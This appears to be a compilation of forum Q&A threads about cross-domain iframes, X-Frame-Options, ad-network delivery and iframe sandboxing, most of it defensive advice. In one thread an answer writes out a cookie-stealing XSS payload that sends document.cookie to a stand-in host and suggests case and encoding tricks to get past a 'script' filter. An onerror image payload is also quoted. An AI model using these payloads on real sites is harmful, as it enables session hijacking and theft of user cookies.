Ive been asked to tackle a challenge where if we have JS delivered into an non-Friendly (aka Cross Domain) IFRAME (3rd party code being written to page), and from inside that IFRAME determine the x&y offset of the iframe into which the code is delivered. Due to cross site scripting limitations historically this has been deemed a non-starter, but we now have a need to have this ability. Anyone aware of any techniques that could get me started ?
I would start by ditching the iframe, honestly. Cross-site scripting is one thing, but what you may be looking for is a web scraper.
http://en.wikipedia.org/wiki/Web_scraping
Although I'm wondering if your intentions are benevolent if you're grabbing content from another site...
Related
I'm displaying web pages (from other domains) in an IFrame to have navigation at the side. However, some websites have the header X-Frame-Options:deny or X-Frame-Options:sameorigin, which prevents the pages from loading in my iframe. Is there a workaround to this? How would I display the web page?
I noticed that StumbleUpon has the same issue. Here's an example with the X-Frame-Options issue: http://www.stumbleupon.com/su/53D0nJ/news.yahoo.com/worlds-dumbest-idea-taxing-solar-energy-111300623.html/
No.
It would be entirely pointless for browser vendors to provide a way for websites to say Don't let third parties put my content in a frame if they also provided a way for third parties to tell browsers to ignore that instruction.
The closest you could come would be to copy their content so it is accessible via a URL on your own server. That approach would probably cause you to run afoul of international copyright law.
I'm building an ad network. This entails 3rd party sites including my javascript, then replacing divs they specify with my content.
We need to dynamically determine which piece of content to serve into those divs, so this requires a cross-site call. AFAIK the popular ways to achieve this are JSONP and iFrame. What are the pros and cons of each approach? Particularly, I'm interested in:
Browser compatibility
End user performance
Ad performance tracking
Resilience to 3rd party site tampering (i.e. faking clicks)
What existing ad networks use
If there are other technologies would like to learn about them also.
EDIT: After doing some research, another option seems to be an image tag that does a 302 redirect so the server can chose an image dynamically.
Another option is to implement CORS on yiur server, but that only works with modern browsers, so may not be a suitable option for you.
I'm looking to develop a website to host HTML5 games on. Since these games have the chance to include malicious javascript, I'd like to know how to setup a secure environment for hosting them.
It seems like embedding the game with an iframe is the answer, but I'm relatively new to website development, so some questions:
is there a simple way to host the games securely on the same domain, or...
does the game have to be hosted on a different domain, then embedded within an iframe, so that it can't interact with the parent document?
if the game is executed while hosted on another domain, can it interact with that host domain in any malicious way?
Cross-site scripting and over-scoping of cookies will be a great concern here. Utilising the browsers' Same Origin Policies will be a valuable methodology in your defence of this. ref1 ref2
Ensure your sites are served from a different domain to the contributors apps. (e.g. coolgames.com vs mycoolgames.com) - This will segregate the origin-scope of your code from theirs.
Ensure that each different contributor has their apps/games served from a unique subdomain (e.g. bob.mycoolgames.com, dave.mycoolgames.com) - This will help to segregate the origin of the different developers. Each will need to be careful to never scope cookies to .mycoolgames.com or they will overexpose themselves.
You may also wish to further protect your own app by utilising the new Content Security Policy support in modern browsers. This will additionally help to mitigate against clickjacking attacks.
Regarding iframes:
Can you explain why you think you need to use an iframe at all? What's wrong with good old fashioned links?
If the graphic design dictates that an iframe must be used, you can easily have all the embedded games iframed into a dynamic page at www.mycoolgames.com, where you will not keep any sensitive systems, data or code - keep all user authentication systems, CMS systems and data only on the applications at *.coolgames.com
First - this is a great question! I was asking myself the same question when design a hosted iframe-based solution.
Second - after a short search I've came across iframe sandbox attribute
TLDR - it enables developers to declare which security options will be applied to the iframe, letting the browser define a tailored-made restrictive scope
So.. I found a great article that gives a real world sample of this feature usage + some clear explanations (read more about this topic here). In short:
<iframe sandbox="security options goes here" src="your hosted page"></iframe>
The security options are:
allow-forms allows form submission.
allow-popups allows popups
(window.open(), showModalDialog(), target=”_blank”, etc.).
allow-pointer-lock allows (surprise!) pointer lock.
allow-same-origin
allows the document to maintain its origin; pages loaded from
https://example.com/ will retain access to that origin’s data.
allow-scripts allows JavaScript execution, and also allows features to
trigger automatically (as they’d be trivial to implement via
JavaScript).
allow-top-navigation allows the document to break out of
the frame by navigating the top-level window.
For instance:
<iframe sandbox="allow-scripts allow-popups" src="https://mywebsite.com/hosted_page"></iframe>
It is also worth mentioning that this security feature is highly supported (can I use for the rescue)
Happy reading / coding... may the security force be with you :)
I am experimenting with cross site scripting. I have a website which allows users to insert comments and view them on the website. The website filters the string "script" though from the comment but it allows iframes. I understand that I could embed an iframe that points to a website that I craft and I can run whatever script I wish. My question is: will my iframe script be able to read cookies initiated by the original website? I have tried alert(document.cookie) but it shows an alert with nothing in it. The original website always sets a cookie though when a client requests it. Any idea what I am missing?
Both the surrounding page need to come from the same domain. This is limited by the Same Origin Policy, which states that a script in one frame may only access data in another frame given they are on the same protocol, have the exact same domain name and are running on the same port. It can be slightly relaxed by setting document.domain to the top level domain in both frames, and thus allowing frames from subdomain to communicate.
You could though try to input , though that may be blocked in newer browsers.
Limiting script is however not enough to stop XSS. There are many many other ways. See http://html5sec.org and http://ha.ckers.org/xss.html
You made it sound like you are trying to use the cookie as a payload for the XSS?
Are you in fact trying to steal the cookie?
But if the site is allowing you to insert comments and only removing "script" then you have a bunch of alternatives for inserting XSS including coookie stealing script.
Try this
javascript:img=new Image();img.src="http://yoursite.com?cookie="+document.cookie;
but you want to encode the word script so you can instead you can try
ScRiPt
or unicode 73 63 72 69 70 74
Cookies follow same origin policy. So if the attack website and the victim website(which allows iframes to open) are having the same host then the popup on running document.cookie will conatin the cookies info.
Since in your case they seem to be of diff domains cookie stealing will not be possible.
To prevent XSS better way is to use C:out tag of the core jstl library
As far as I know, an iframe cannot access to the original website if the domain of iframe and the domain of original website are different, but there are other problems. (ex. cracker commenting <img src="asdf" onerror="alert(document.cookie)"/>)
You may want to use somethings like HTML Purifier....
We recently had a scenario in which an iframe snippet on a server A was pointing to url on server B. There were some malwares being installed by server A on some clients. Can this iframe be the cause. As in hacker injected his url in the iframe's src. What can be the alternatives to iframe etc.
Most likely you experienced XSS
If a hacker is able to change the URL an iframe points to on your site then the iframe is not the problem, your code is.
Any web site could serve up malware, but you have indicated that the hacker has attacked your site and changed the src attribute of the iframe, not the site serving the iframe contents. Even if you replaced an iframe with something else the fact that an attacker has managed to get to the data behind your web site used to generate the page means that they could not limit themselves to iframes, but embed other tactics, such as a redirect, or a hidden link which is clicked by javascript or any other type of common nasty.
Generally IFrame whose content comes from a different domain cannot access the DOM of the parent web site - due to cross domain scripting restrictions. There were lots of bugs involving browsers not implementing such restrictions properly, so an out-of-date client browser might be the cause.
Unless you're running code inside of the iFrame, which you really shouldn't be, it would be a good idea to disable that iFrame from running any code.